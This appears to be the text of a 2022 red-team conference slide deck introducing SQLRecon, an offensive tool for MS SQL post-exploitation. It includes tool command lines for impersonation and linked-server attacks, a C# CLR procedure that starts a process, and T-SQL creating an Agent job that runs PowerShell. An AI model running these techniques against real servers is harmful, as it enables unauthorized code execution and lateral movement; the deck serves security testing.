Abusing MS SQL Using SQLRecon

Abusing MS SQL Using SQLRecon
Sanjiv Kawa
Adversary Simulation, IBM X-Force Red
May 6, 2022

whoami?
IBM Security / © 2022 IBM Corporation 2
Role
» Adversary Simulation, IBM X-Force Red
Hobbies

Agenda
3
IBM Security / © 2022 IBM Corporation
Introducing SQLRecon 3 min
Demo 1: Basic Modules 2 min
Demo 2: Impersonation Attacks 4 min
Demo 3: Attacking Linked SQL Servers 4 min
Development Roadmap 1 min
Conclusion & Questions 1 min

Introducing SQLRecon

What’s currently available?
5
A good amount of offensive MS SQL tools already exists
– metasploit
– crackmapexec
– PowerUpSQL

How did this research come about?
6
Like most tooling … to solve a problem encountered on an engagement
Also to address the MS SQL C# post-exploitation tooling gap
– Modernize the approach
– Works with a diverse set of C2 frameworks
– execute-assembly and InlineExecute-Assembly compatible

Why bother attacking MS SQL?
7
Often overlooked
Often misconfigured
BuiltinUsers can connect to MS SQL servers by default, and:
– Execute basic SQL commands
– Determine rights via user mapping/roles -> impersonation attacks
– UNC path injection. Creds or SMB relay -> code execution
– Piggyback off rights to compromise linked servers

Demo Time

Demo 1: Basic Modules

10
1. Set an authentication context
2. Supply a module
SQLRecon.exe -a Windows –s SQL01 –d msdb –m whoami
SQLRecon.exe -a Local –s SQL01 –d msdb –u sa –p Password123 –m whoami
SQLRecon.exe -a Azure –r domain.com –d msdb –u jsmith –p Password123 –m whoami
Usage

11
Demo Context

12
query
whoami
databases
tables
search
smb
Plenty more … (SQLRecon.exe –h)
Basic Modules

13
Privilege Check

14
whoami

15
whoami ctd.

16
databases

17
tables

18
search

19
query

20
smb

Demo 2: Impersonation Attacks

22
Demo Configuration - Impersonation
Impersonate is a special permission
Enables a user or group to:
- Operate with the permissions of another user;
- As well as their own permissions.

23
SQLRecon.exe -a Windows –s SQL02 –d master –m impersonate
SQLRecon.exe -a Windows –s SQL02 –d master –m iwhoami –i sa
Impersonation

24
impersonate

25
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void BaconTime ()
{
}
}
https://gist.github.com/skahwah/c92a8ce41f529f40c14715c91b8f90ce
https://gist.github.com/skahwah/a585e176e4a5cf319b0c759637f5c410
Custom CLR Assemblies

26
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Diagnostics;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void BaconTime ()
{
Process proc = new Process();
proc.StartInfo.FileName = "C:WindowsSystem32notepad.exe";
proc.Start();
}
}
https://gist.github.com/skahwah/c92a8ce41f529f40c14715c91b8f90ce
https://gist.github.com/skahwah/a585e176e4a5cf319b0c759637f5c410
Custom CLR Assemblies

27
ienableclr

28
Upload DLL to disk

29
iclr

30
idisableclr

31
Caveat:
- SQL Agent must be running
- Does not work with SQL Server Express edition
- Works with: Developer, Standard and Enterprise editions
Agent Jobs

32
iagentstatus

33
EXEC dbo.sp_add_job @job_name = 'test_ps_job1';
EXEC sp_add_jobstep @job_name = 'test_ps_job1',
@step_name = 'test_ps_name1',
@subsystem = 'PowerShell',
@command = 'powershell.exe start-process notepad',
@retry_attempts = 1,
@retry_interval = 5;
EXEC dbo.sp_add_jobserver @job_name = 'test_ps_job1';
EXEC dbo.sp_start_job 'test_ps_job1';
WAITFOR DELAY '00:00:05';
EXEC dbo.sp_delete_job @job_name = 'test_ps_job1';
Agent Jobs

34
iagentcmd

Demo 3: Attacking Linked SQL Servers

36
Demo Configuration - Links
SQL02 might be segmented from the network you’re on
A link could exist from SQL01 -> SQL02
Leverage SQL01 to issue queries on SQL02

37
SQLRecon.exe -a Windows –s SQL01 –d master –m links
SQLRecon.exe -a Windows –s SQL01 –d master –m lwhoami –l SQL02
Linked SQL Servers

38
links
SQLRecon.exe -a Windows –s SQL01 –d master –m links

39
lwhoami

40
ldatabases

41
ltables

42
lenableole

43
lolecmd

44
ldisableole

45
lsmb

Development Roadmap

47
- Expand Command Execution Techniques
To Do’s
Execution Technique Standard Impersonation Linked
xp_cmdshell ✅ ✅ ✅
OLE Automation ✅ ✅ ✅
Custom CLR Assemblies ✅ ✅ ❌
Agent Jobs ✅ ✅ ❌

Conclusion

49
Address the MS SQL C# post-exploitation tooling gap
Helps operators using C2 frameworks perform MS SQL attacks
Conclusion & Questions
@sanjivkawa
github.com/skahwah/SQLRecon

Abusing MS SQL Using SQLRecon

Recommended

Recommended

More Related Content

What's hot

What's hot (20)

Similar to Abusing MS SQL Using SQLRecon

Similar to Abusing MS SQL Using SQLRecon (20)

Recently uploaded

Recently uploaded (20)

Abusing MS SQL Using SQLRecon